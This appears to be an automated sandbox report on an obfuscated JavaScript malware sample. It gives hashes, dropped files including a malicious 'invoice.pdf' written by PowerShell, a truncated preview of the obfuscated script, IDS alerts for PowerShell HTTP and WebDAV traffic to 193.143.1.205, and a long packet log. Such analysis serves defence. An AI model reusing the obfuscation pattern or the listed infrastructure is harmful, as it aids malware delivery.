SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\40b5ad1a-c055-4a4d-ae7b-59c726bbabb3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\c18074b7-5c5c-4268-b7ed-0332417e0cb7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18947), with CRLF line terminators
Entropy (8bit):	4.912004226764816
TrID:
File name:	2045514992161325262.js
File size:	22'579 bytes
MD5:	bfbe1b4ccad164c1f692144c466cb0b6
SHA1:	bec09b4695aae44d9e78b1457dcc2e757544a6e8
SHA256:	540657fac382e9acdf2245276c422ba64145734fe51d39f69b53a9817bd1a787
SHA512:	aaacf0405ff28932de10620933ec34693cbe499870c011249bdc95f30dfc4bc4c279539d47b348d5c71fb4acbeba4a09b36e00fdcb3809bab133654b4390282f
SSDEEP:	384:IVUg9Bng180sqInAIenhI0DoFFjNZtXuAW9TV3ZzOrbfKQJN7Z3Qrek35ar6yKMX:IVUg9Bng180sqInAIenhIX5XFW9p3Zz6
TLSH:	00A2955ACC30C9CB87E998F3E3565CA912D3598C98FD8C920F3BB94D6B44A2BC5D8471
File Content Preview:	function bsfvub(){zdlnnveq=[1031,3079,5127,4103,2055,3072];var njnum=this[jlbtwpsqk+twjgsr+rnqqvb+wiydo+egafqknh+ztufmust+oblyvmjwc+dccsyodas](this[yxjjs+uiurvqor+czgblgv+rnqqvb+lwnhvy+jlbtwpsqk+dccsyodas][opmbes+rnqqvb+egafqknh+twjgsr+dccsyodas+egafqknh+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T17:10:44.875011+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49709	193.143.1.205	80	TCP
2025-01-10T17:10:47.592211+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49711	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:10:44.066803932 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:44.071803093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.071918011 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:44.075519085 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:44.080348015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.874938965 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.874958992 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.874973059 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.874983072 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.875001907 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.875011921 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.875010967 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:44.875024080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.875037909 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.875042915 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:44.875049114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.875058889 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.875094891 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:44.875113964 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:44.880037069 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.880048037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.880059958 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.880111933 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:44.921399117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.921412945 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.921469927 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:44.996577024 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.996622086 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.996634007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.996642113 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.996701002 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.996756077 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:44.996772051 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.996787071 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.996813059 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:44.997149944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.997178078 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.997191906 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:44.997196913 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.997210979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.997222900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.997240067 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:44.997256041 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:44.998034954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.998049974 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.998061895 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.998073101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.998085022 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.998096943 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:44.998120070 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:44.998872042 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.998887062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.998898983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.998910904 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.998912096 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:44.998924971 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:44.998946905 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:44.998966932 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:44.999739885 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.046161890 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.054059982 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.054117918 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.054153919 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.054186106 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.088433027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.088602066 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.118213892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.118315935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.118350983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.118385077 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.118385077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.118419886 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.118429899 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.118453979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.118485928 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.118494034 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.118521929 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.118563890 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.118853092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.118904114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.118947983 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.118956089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.118988991 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.119024038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.119029999 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.119447947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.119498014 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.119498014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.119534016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.119568110 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.119584084 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.119602919 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.119637966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.119662046 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.120136976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.120201111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.120218992 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.120237112 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.120269060 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.120302916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.120326996 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.120338917 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.120362043 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.120903969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.120937109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.120971918 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.120987892 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.121005058 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.121016026 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.121038914 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.121072054 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.121107101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.121141911 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.121149063 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.121162891 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.121716976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.121767998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.121802092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.121834040 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.121853113 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.121870041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.121910095 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.121946096 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.121946096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.121982098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.122057915 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.145647049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.145694017 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.145730972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.145797968 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.145859957 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.179716110 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.179781914 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.179816961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.179850101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.179905891 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.180021048 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.209928036 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.209950924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.210153103 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.239967108 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.240001917 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.240020990 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.240046978 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.240066051 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.240082026 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.240102053 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.240139008 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.240142107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.240165949 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.240175962 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.240184069 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.240195990 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.240200043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.240216017 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.240225077 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.240232944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.240267992 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.240516901 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.240566015 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.240598917 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.240617037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.240632057 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.240648031 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.240662098 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.240664959 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.240683079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.240703106 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.240737915 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.241061926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.241089106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.241106033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.241122007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.241130114 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.241139889 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.241170883 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.241532087 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.241548061 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.241561890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.241575956 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.241588116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.241601944 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.241605043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.241621017 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.241638899 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.241643906 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.241653919 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.241669893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.241674900 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.241686106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.241702080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.241704941 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.241720915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.241740942 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.242479086 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.242502928 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.242518902 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.242532969 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.242536068 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.242552996 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.242559910 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.242568016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.242584944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.242597103 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.242629051 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.242645979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.242655039 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.242664099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.242680073 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.242687941 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.242719889 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.243236065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.243252039 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.243266106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.243280888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.243294954 CET	49709	80	192.168.2.6	193.143.1.205
